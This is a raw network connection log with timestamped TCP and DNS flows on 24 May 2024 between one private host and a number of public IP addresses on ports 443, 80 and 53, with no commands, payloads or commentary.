May 24, 2024 00:52:00.874083996 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.429781914 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429817915 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429827929 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429842949 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429872990 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.429894924 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429920912 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.429925919 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.429941893 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.429982901 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.592564106 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:01.592587948 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:01.635288000 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.643673897 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:01.643708944 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:01.643790960 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:01.644033909 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:01.644052982 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:01.651187897 CEST	53	49755	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.651252985 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.651418924 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.651473045 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:01.661195993 CEST	53	49755	1.1.1.1	192.168.2.5
May 24, 2024 00:52:01.666333914 CEST	53	49755	1.1.1.1	192.168.2.5
May 24, 2024 00:52:02.103915930 CEST	53	49755	1.1.1.1	192.168.2.5
May 24, 2024 00:52:02.104558945 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:02.111566067 CEST	53	49755	1.1.1.1	192.168.2.5
May 24, 2024 00:52:02.111629963 CEST	49755	53	192.168.2.5	1.1.1.1
May 24, 2024 00:52:02.404268026 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.411163092 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.411189079 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.412224054 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.412355900 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.413379908 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.413450956 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.413646936 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.457817078 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.457842112 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.512761116 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.523212910 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.569103956 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:02.572814941 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.711169004 CEST	49756	443	192.168.2.5	35.153.14.190
May 24, 2024 00:52:02.711308956 CEST	443	49756	35.153.14.190	192.168.2.5
May 24, 2024 00:52:04.088052034 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:04.088094950 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:04.088165998 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:04.088356972 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:04.088372946 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:04.892119884 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.031656981 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.031668901 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.032857895 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.032872915 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.032915115 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.043107033 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.043165922 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.048835993 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.048844099 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.138298988 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:05.138328075 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:05.138501883 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:05.138663054 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:05.138673067 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:05.166058064 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.166505098 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.166526079 CEST	49765	443	192.168.2.5	34.207.50.203
May 24, 2024 00:52:05.166534901 CEST	443	49765	34.207.50.203	192.168.2.5
May 24, 2024 00:52:05.360460043 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:05.360557079 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:05.360658884 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:05.360949039 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:05.360975027 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:05.361036062 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:05.361768961 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:05.361793041 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:05.361958981 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:05.361972094 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.050194025 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.050549030 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.050589085 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.051667929 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.051768064 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.052691936 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.052764893 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.052836895 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.097029924 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.097075939 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.128029108 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.128297091 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.128320932 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.128612995 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.129292011 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.129352093 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.129715919 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.144227028 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.170497894 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.225676060 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.226459026 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.226488113 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.227372885 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.227432966 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.229309082 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.229410887 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.230318069 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.230334044 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.270078897 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.409759998 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.409827948 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.409879923 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.411977053 CEST	49769	443	192.168.2.5	168.119.1.208
May 24, 2024 00:52:06.412002087 CEST	443	49769	168.119.1.208	192.168.2.5
May 24, 2024 00:52:06.463831902 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.463876963 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.463918924 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.463948011 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.466068983 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.466092110 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.466124058 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.466141939 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.466192007 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.467873096 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.471883059 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.471935034 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.471957922 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.473820925 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.473871946 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.476309061 CEST	49770	443	192.168.2.5	66.254.122.19
May 24, 2024 00:52:06.476330996 CEST	443	49770	66.254.122.19	192.168.2.5
May 24, 2024 00:52:06.499201059 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:06.499232054 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:06.499290943 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:06.499495983 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:06.499509096 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:06.876982927 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877003908 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877017021 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877073050 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.877089977 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877134085 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.877182007 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877223015 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.877228022 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877260923 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:06.877260923 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.877298117 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.951762915 CEST	49766	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:06.951782942 CEST	443	49766	45.141.157.146	192.168.2.5
May 24, 2024 00:52:07.170974016 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.221755028 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.388766050 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.388792992 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.390415907 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.391733885 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.432742119 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.432926893 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.489902973 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.489924908 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.527383089 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.570503950 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.731605053 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.731690884 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.732563972 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.737385988 CEST	49773	443	192.168.2.5	136.243.43.25
May 24, 2024 00:52:07.737401962 CEST	443	49773	136.243.43.25	192.168.2.5
May 24, 2024 00:52:07.910542011 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:07.910582066 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:07.910727024 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:07.912005901 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:07.912022114 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.573249102 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.573539019 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.573555946 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.574697971 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.574763060 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.576852083 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.576931953 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.577488899 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.577497959 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.617171049 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.835634947 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.835726976 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.835774899 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.838602066 CEST	49779	443	192.168.2.5	74.125.206.154
May 24, 2024 00:52:08.838624001 CEST	443	49779	74.125.206.154	192.168.2.5
May 24, 2024 00:52:08.874036074 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:08.874073029 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:08.874121904 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:08.874901056 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:08.874919891 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.492130995 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:52:09.492208958 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:52:09.492775917 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:52:09.506690979 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.507401943 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.507426977 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.508476019 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.508557081 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.509197950 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.509262085 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.509486914 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.509494066 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.551276922 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.791292906 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:52:09.791326046 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:52:09.846730947 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.851350069 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:09.851403952 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.851876974 CEST	49784	443	192.168.2.5	64.233.166.156
May 24, 2024 00:52:09.851897955 CEST	443	49784	64.233.166.156	192.168.2.5
May 24, 2024 00:52:10.685190916 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:10.685513973 CEST	49786	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:10.690227032 CEST	80	49785	69.16.230.42	192.168.2.5
May 24, 2024 00:52:10.690299034 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:10.690460920 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:10.695066929 CEST	80	49786	69.16.230.42	192.168.2.5
May 24, 2024 00:52:10.695131063 CEST	49786	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:10.700619936 CEST	80	49785	69.16.230.42	192.168.2.5
May 24, 2024 00:52:11.601334095 CEST	80	49785	69.16.230.42	192.168.2.5
May 24, 2024 00:52:11.644336939 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:11.893250942 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:11.898211956 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:11.898282051 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:11.898519993 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:11.908006907 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.516670942 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.518322945 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.521720886 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.521776915 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:12.525254011 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.525269032 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.525279045 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.525356054 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:12.525356054 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:12.532280922 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:12.574496031 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:12.790913105 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:12.825149059 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:12.825392962 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:12.825572968 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:12.876741886 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.329647064 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.334357977 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.334428072 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.342051983 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.344208956 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.389046907 CEST	80	49790	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.389130116 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.389300108 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.393956900 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.398808956 CEST	80	49790	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.631464005 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.653578043 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.658545971 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:13.663039923 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.667901993 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:13.667960882 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:13.668111086 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:13.702574968 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:13.723701954 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.774849892 CEST	80	49792	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.774930954 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.775490046 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.784636021 CEST	80	49792	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.903522968 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:13.903563023 CEST	80	49790	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.926353931 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:13.926403046 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:13.926482916 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:13.926763058 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:13.926788092 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:13.944616079 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:13.944741964 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.945202112 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.954612017 CEST	80	49794	67.225.218.50	192.168.2.5
May 24, 2024 00:52:13.954683065 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.954860926 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:13.976870060 CEST	80	49794	67.225.218.50	192.168.2.5
May 24, 2024 00:52:14.023480892 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:14.068625927 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:14.303845882 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.304421902 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.304613113 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.309178114 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.313985109 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.313997984 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.314148903 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.323491096 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.323880911 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.325844049 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.325858116 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.325865984 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.325948000 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.330272913 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.330287933 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.330399990 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.335136890 CEST	80	49791	18.239.102.57	192.168.2.5
May 24, 2024 00:52:14.335340023 CEST	49791	80	192.168.2.5	18.239.102.57
May 24, 2024 00:52:14.385282040 CEST	80	49792	13.248.148.254	192.168.2.5
May 24, 2024 00:52:14.429862976 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:14.435611010 CEST	49795	80	192.168.2.5	18.245.173.78
May 24, 2024 00:52:14.440825939 CEST	80	49795	18.245.173.78	192.168.2.5
May 24, 2024 00:52:14.441026926 CEST	49795	80	192.168.2.5	18.245.173.78
May 24, 2024 00:52:14.442284107 CEST	49795	80	192.168.2.5	18.245.173.78
May 24, 2024 00:52:14.492682934 CEST	80	49795	18.245.173.78	192.168.2.5
May 24, 2024 00:52:14.541985989 CEST	80	49794	67.225.218.50	192.168.2.5
May 24, 2024 00:52:14.585351944 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:14.616921902 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.617286921 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.617320061 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.618195057 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.618305922 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.618665934 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.618727922 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.618849039 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.618859053 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.662364006 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.940007925 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.942754030 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.942775965 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.945579052 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.946455956 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.946511984 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.951384068 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.955799103 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.955821991 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.955837011 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.955869913 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.955897093 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.961648941 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.964462996 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.964489937 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.966253042 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:14.970498085 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:14.970527887 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:15.023871899 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:15.030699968 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:15.030721903 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:15.030760050 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:15.031065941 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:15.031065941 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:15.031145096 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:15.035082102 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:15.035607100 CEST	49793	443	192.168.2.5	216.58.206.36
May 24, 2024 00:52:15.035636902 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:15.041063070 CEST	443	49793	216.58.206.36	192.168.2.5
May 24, 2024 00:52:15.041168928 CEST	49793	443	192.168.2.5	216.58.206.36
